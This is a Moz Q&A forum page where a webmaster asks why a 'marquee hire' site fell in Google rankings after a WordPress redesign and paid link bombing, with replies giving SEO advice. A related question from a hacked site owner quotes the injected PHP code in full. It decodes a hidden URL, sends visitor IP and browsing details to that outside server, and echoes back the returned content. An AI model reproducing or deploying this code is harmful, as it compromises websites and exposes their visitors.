Website slipped for particular keyword this year
-
I am webmaster for this site which slipped in rankings around 18/1/13. It was doing really well for keyword "marquee hire" ranking 6-8 for google.co.nz. It is now ranked about 30.
Background. It has been ranked well for keyword for about 3 years. From what I can see there was a few websites that tumbled around this time. The website has been completely redone to a wordpress site this was in December last year. The switch was done before putting in 301 re directs to preserve internal page rank. As a result the internal page rank of pages has had to start again!
Three things from online research into what has potentially affected this:
1. Lack of website substance. As website has been redone it has lost Google "esteem" (lack of internal pages PR). But the time that it dropped was a long time after the site redesign.
2. Possible penalty for too high proportion of links from directory websites. Heard some whispers from forums that this had happened. But links are not just from directories.
3. Too many links with specific keyword (marquee hire) for junk sites. This is possibly true but why the drop at that time when no one else experienced this.Also we hired a company mid last year who link bombed using "marquee hire" and a couple other keywords.
Moz seems to be very happy with the website!! Good link scores and on-page optimisation is great.
Wondering what has happened?!
-
- Are the search engines seeing the signals they are looking for from a real business from your website ? On the most part yes. The website has good original content and is a professional website. The website is updated with new content at least once a month.
- If you are targeting one and only one primary keyword, that's a wrong approach. Think beyond one primary keyword. Kind of! the keyword is has been targeted more but others such as marquee hire auckland, schupepe marquee hire, tent hire and stretch tents are other keywords.
- The points you mentioned about directory links, anchor text links and link "bombing" are obviously clear signs of problems. Possibly
- Do you control those links ? Are there any natural links ? Have you received a unnatural links penalty ? I contacted google about a manual penalty and they said no.
Do a complete audit of your backlinks and clean up what you can. A good idea.
To me though it could be a simple case of dropping off because of the new website been put in. The site dropped off about 18-19 January. Below is from webmaster tools. It seems to be too much of a coincidence that this has happened at the same time?
In google reconsideration request (I was checking to see if the website was manually penalised – it wasn’t) they hinted at the above (server stops serving pages) which was around 6/1/13 and it gets to the lowest around the same time as the rankings drop.
Also it states if you’ve changed the URLs for a large portion of your sites pages”
-
This is a very very common problem. What you need to do is step back for a minute and think of this not like a website, but like a real business.
- Are the search engines seeing the signals they are looking for from a real business from your website ?
- If you are targeting one and only one primary keyword, that's a wrong approach. Think beyond one primary keyword.
- The points you mentioned about directory links, anchor text links and link "bombing" are obviously clear signs of problems.
- Do you control those links ? Are there any natural links ? Have you received a unnatural links penalty ?
Do a complete audit of your backlinks and clean up what you can.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
I redesigned a clients website and there is a pretty massive drop in traffic - despite my efforts to significantly improve SEO.
Hi there, I redesigned a clients website that was very old fashioned and was not responsive. I implemented 301 redirects, kept the content pretty similar, website linking structure very similar - the only things i changed was making the website responsive, improved title tags, added a bit more information, improved the footer and h1 tags etc.. however although clicks are fairly similar search impressions have dropped about 60% on average over the past week. The old site had some keywords linking to pages with no new content so i removed those as seemed like black hat seo tricks and also there was a huge list of "locations we deliver to" on the homepage followed by around 500 citys/towns I removed this. Could this be the cause for the drop? as i assumed those would do more harm than good? Fairly new with SEO as you can probably tell. Looking for advice on what may be the cause and what steps I should take now. Thanks for reading! duGeW
White Hat / Black Hat SEO | | binkez321 -
Why Link Spamming Website Coming on First Page Google?
As we all already know about link spamming. As per Google Guidelines Link building, Exact Keywords Anchor Link Building is dead now but i am looking most of the website coming on first page in Google doing same exact keywords linking. I think directory, article, social bookmarking, press release and other link building activity is also dead now. Matt always saying content is more important but if we will not put any keywords link in content part then how website rank in first page in Google. Can anybody explain why is website coming on first page because when i am doing same activity for quality links with higher domain authority website then we are affected in Google update.
White Hat / Black Hat SEO | | dotlineseo0 -
Should You Link Back from Client's Website?
We had a discussion in the office today, about if it can help or hurt you to link back to your site from one that you optimize, host, or manage. A few ideas that were mentioned: HURT:
White Hat / Black Hat SEO | | David-Kley
1. The website is not directly related to your niche, therefore Google will treat it as a link exchange or spammy link.
2. Links back to you are often not surrounded by related text about your services, and looks out of place to users and Search Engines. HELP:
1. On good (higher PR, reputable domain) domains, a link back can add authority, even if the site is not directly related to your services.
2. Allows high ranking sites to show users who the provider is, potentially creating a new client, and a followed incoming link on anchor text you can choose. So, what do you think? Test results would be appreciated, as we are trying to get real data. Benefits and cons if you have an opinion.2 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
Website "A Record" in DNS - Geotargetting
Hi, Our online shop is hosted with a French IP address. It is available in English and Spanish. I have noticed, as to be expected, that we get quite a few french visitors, probably related to our IP address Google must think its geo related. We don't want to particularly target any specific country, but more so english and spanish speakers. Can you have various A records around the world to help with this? Any suggestions or things I could look into?? thanks
White Hat / Black Hat SEO | | bjs20100 -
Can one business operate under more than one website?
Is it possible for a business to rank organically for the same keyword multiple times with different web addresses? Say if I sell car keys and I wanted to rank for "buy new car keys" and I set up two different website say ibuycarkeys.com and carkeycity.com and then operate under both of these, would Google frown upon this?
White Hat / Black Hat SEO | | steve2150 -
Some pages of my website http://goo.gl/1vGZv stopped crawling in Google
hi , i have 5 years old website and some page of my website http://goo.gl/1vGZv stopped indexing in Google . I have asked Google webmaster to remove low quality link via disavow tool . What to do ?
White Hat / Black Hat SEO | | unitedworld0